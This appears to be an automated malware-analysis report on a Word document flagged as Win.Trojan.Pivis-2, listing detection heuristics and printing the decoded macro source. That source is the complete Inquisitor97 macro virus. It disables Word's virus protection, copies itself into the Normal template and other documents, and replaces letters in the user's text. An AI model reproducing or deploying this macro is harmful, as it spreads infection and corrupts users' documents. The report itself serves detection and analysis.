MALICIOUS
160
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as Win.Trojan.Pivis-2 by ClamAV. It contains legacy WordBasic macro markers and an AutoOpen macro that attempts to copy itself to the Normal template, indicating a mechanism for persistence and infection. The macro also includes a 'Payload' subroutine which, although truncated, suggests further malicious actions.
Heuristics 4
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1984 bytes |
SHA-256: ad886c7846f038c0947107c9cb0520901561d34f8d3c3301e04e192c7fc16fd3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Attribute VB_Name = "Module1"
Sub AutoOpen()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.ReadOnlyRecommended = False
Call Inquisitor97
Call Payload(Int(Rnd(100)))
End Sub
Sub Inquisitor97()
On Error Resume Next
Set test = MacroContainer
If test = NormalTemplate Then Call n
If test = ActiveDocument Then Call a
End Sub
Sub n()
On Error Resume Next
Application.OrganizerDelete ActiveDocument.FullName, "Module1", wdOrganizerObjectProjectItems
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Module1", wdOrganizerObjectProjectItems
ActiveDocument.Save
End Sub
Sub a()
On Error Resume Next
Application.OrganizerDelete NormalTemplate.FullName, "Module1", wdOrganizerObjectProjectItems
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Module1", wdOrganizerObjectProjectItems
NormalTemplate.Save
End Sub
Sub ToolsMacro()
MsgBox "You have been infected by Inquisitor97"
Payload (42)
End Sub
Sub ViewVBCode()
MsgBox "You have been infected by Inquisitor97"
Payload (42)
End Sub
Sub Payload(num As Single)
If num = 42 Then
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "e"
.Replacement.Text = "s"
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.